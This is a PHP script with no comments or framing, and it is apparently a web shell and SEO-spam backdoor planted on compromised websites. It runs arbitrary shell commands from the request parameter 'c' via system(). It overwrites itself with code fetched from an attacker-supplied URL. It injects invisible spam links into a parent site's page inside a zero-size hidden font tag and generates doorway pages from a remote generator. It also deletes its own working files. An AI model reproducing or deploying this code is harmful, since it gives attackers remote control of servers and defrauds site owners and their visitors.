<?php
ignore_user_abort(1);
set_time_limit(0);

function Clear()
{
    unlink("c");
    unlink("1r");
  unlink("log");
}

function Clear2()
{
    $mrd = trim(file_get_contents("m"));
    $pt = "../$mrd";
    $fin = file_get_contents($pt);
    $fin = ereg_replace("<adsttnmq1>(.*)<sdioyslkjs2>", "", $fin);
  $fin = ereg_replace("<!--dd4-->(.*)<!--dd5-->", "", $fin);
    $fin = preg_replace('#<a[^>]+\_lm[^>]*>.*?</a>#is', '', $fin);
    $fin = preg_replace("/http(.*?)tmp6(.*?)\<\/a\>/", "", $fin);
    $fin = ereg_replace("<!--dd4-->", "", $fin);
  $fin = ereg_replace("<!--dd5-->", "", $fin);
  $fin = ereg_replace("<font style=\"position: absolute;overflow: hidden;height: 0;width: 0\">", "", $fin);
    $fmrd = fopen($pt, "w+");
    fwrite($fmrd, $fin);
    fclose($fmrd);
    echo " upt-ok";
}

function GetVar($name, &$var)
{
    $var = "";
    if (isset($_POST[$name]))
        $var = $_POST[$name];

  if (isset($_GET[$name]))
        $var = $_GET[$name];

    if (($var) =="")
      return  false;
      else return true;
}

function Gen()
{
    $alp = "abcdefghiklmnjsweqrtyuiopzx";
    $maps = array();
    if (isset($_POST["sg"]))
        $sg = $_POST["sg"];

  if (isset($_GET["sg"]))
        $sg = $_GET["sg"];

    if (isset($_POST["gm"]))
     $g = $_POST["gm"];

    if (isset($_GET["gm"]))
        $g = $_GET["gm"];


    $path = "";
    $fr = fopen("1r", "a+");
    if (file_exists("c"))
    {
        $fconf = file("c");
        $tname = trim($fconf[0]);
        $cname = trim($fconf[1]);
        $curs = trim($fconf[2]);
        $pid = trim($fconf[3]);
        if ($pid == 100)
        {
            $pid = 0;
            $rnd = mt_rand(0, 999);
            $nm = "";
        for ($i=0; $i<3; $i++)
        {
            $ran = mt_rand(0,26);
            $sym = $alp[$ran];
            $nm = $nm.$sym;
          }
            $cname = $nm;
            mkdir("$tname/$cname");
            $curs = $g;
        }
    }
    else
    {
        $rnd = mt_rand(0, 999);
        $nm = "";
      for ($i=0; $i<5; $i++)
        {
            $ran = mt_rand(0,26);
            $sym = $alp[$ran];
            $nm = $nm.$sym;
        }
        $tname = $nm;
        $pid = 0;
        $curs = $g;
        mkdir($tname);
        $fht = fopen("$tname/.htaccess", "w+");
        $htname = $sg."2.txt";
        $fp = fopen($htname, "r");
        $fin = '';
        while (!feof($fp))
        {
             $fc = fgets($fp, 1024);
             if (!$fc) break;
           $fin .= $fc;
        }
        fclose($fp);
        fwrite($fht, $fin);
        fclose($fht);
        $rnd = mt_rand(0, 999);
        $nm = "";
    for ($i=0; $i<3; $i++)
    {
        $ran = mt_rand(0,26);
        $sym = $alp[$ran];
        $nm = $nm.$sym;
      }
        $cname = $nm;
    mkdir("$tname/$cname");
    }
  $gname = $sg."sgen.php";
    for ($j=$pid; $j<$pid+10; $j++)
    {
        $fp = fopen($gname."?g=$curs", "r");
        $fin = '';
        while (!feof($fp))
        {
             $fc = fgets($fp, 1024);
             if (!$fc) break;
           $fin .= $fc;
        }
        fclose($fp);

        $fnd = fopen("$tname/$cname/$curs"."_$j.htm", "w+");
        fwrite($fnd, $fin);
        fclose($fnd);
    }

    if ($j==100)
    {
      $fp = fopen($gname."?g=$curs&m=1", "r");
        $fin = '';
        while (!feof($fp))
        {
             $fc = fgets($fp, 1024);
             if (!$fc) break;
           $fin .= $fc;
        }
        fclose($fp);
        $fnd = fopen("$tname/$cname/$curs"."_lm.htm", "w+");
        fwrite($fnd, $fin);
        fclose($fnd);
        $map = "$path/$tname/$cname/$curs"."_lm.htm";
        fwrite($fr,"$map\n");
    }

    $fconf = fopen("c", "w+");
    fwrite($fconf, $tname."\n");
    fwrite($fconf, $cname."\n");
    fwrite($fconf, $curs."\n");
    $nj = $j;
    fwrite($fconf, $nj."\n");
    fclose($fconf);
}

function Update()
{
    $thisname = "1.php";
    if (isset($_POST['u']))
      $u = $_POST['u'];

    if (isset($_GET['u']))
        $u = $_GET['u'];

    $fp = fopen($u, "r");
  $fin = '';
        while (!feof($fp))
        {
             $fc = fgets($fp, 1024);
             if (!$fc) break;
           $fin .= $fc;
        }
  fclose($fp);

  $fthis = fopen($thisname, "w+");
  fwrite($fthis, $fin);
  fclose($fthis);
}

function Com()
{
    if (isset($_POST['c']))
      @system($_POST['c']);
  if (isset($_GET['c']))
        @system($_GET['c']);
}

function UpKos()
{
    $mrd = trim(file_get_contents("m"));
    $pt = "../$mrd";
    $fin = file_get_contents($pt);
    $fin = ereg_replace("adsttnmq1", "<adsttnmq1>", $fin);
    $fin = ereg_replace("sdioyslkjs2", "<sdioyslkjs2>", $fin);
    $fmrd = fopen($pt, "w+");
    fwrite($fmrd, $fin);
    fclose($fmrd);
}


function MRepl()
{
    $mpt = "";
    $drs = "";
    $begtag = "<adsttnmq1><font style=\"position: absolute;overflow: hidden;height: 0;width: 0\">";
  $endtag = "</font></body></html><sdioyslkjs2> ";
    $mrd = trim(file_get_contents("m"));
    $pt = "../$mrd";
    $fin = file_get_contents($pt);
    GetVar("mpt", $mpt);
     // удаляем завершающие хтмл теги
  $fin = preg_replace ("/<\/body>/i", "", $fin);
  $fin = preg_replace ("/<\/html>/i", "", $fin);
  $fin = ereg_replace("<!--dd4-->(.*)<!--dd5-->", "", $fin);
  $fin = ereg_replace("<adsttnmq1>(.*)<sdioyslkjs2>", "", $fin);
    $fp = fopen($mpt, "r");
  GetVar("drs", $drs);
  $fin = $fin.$begtag;
$drs = str_replace("\\", "", $drs);
  $fin = $fin.$drs;
  $fin = $fin.$endtag;
  $fmrd = fopen($pt, "w+");
    fwrite($fmrd, $fin);
    fclose($fmrd);
}

function Main()
{
    if (isset($_POST['u']) || isset($_GET['u']))
    {
        Update();
        exit();
    }

    if (isset($_POST['c']) || isset($_GET['c']))
    {
        Com();
        exit();
    }

        if (isset($_POST['uk']) || isset($_GET['uk']))
    {
        UpKos();
        exit();
    }

    if (isset($_POST['g']) || isset($_GET['g']))
    {
        Gen();
        exit();
    }

    if (isset($_POST['s']) || isset($_GET['s']))
    {
        MRepl();
        exit();
    }

  if (isset($_POST['cl']) || isset($_GET['cl']))
    {
        Clear();
        exit();
    }

    if (isset($_POST['cl2']) || isset($_GET['cl2']))
    {
        Clear2();
        exit();
    }

    echo "<ok>";

}

Main();

?>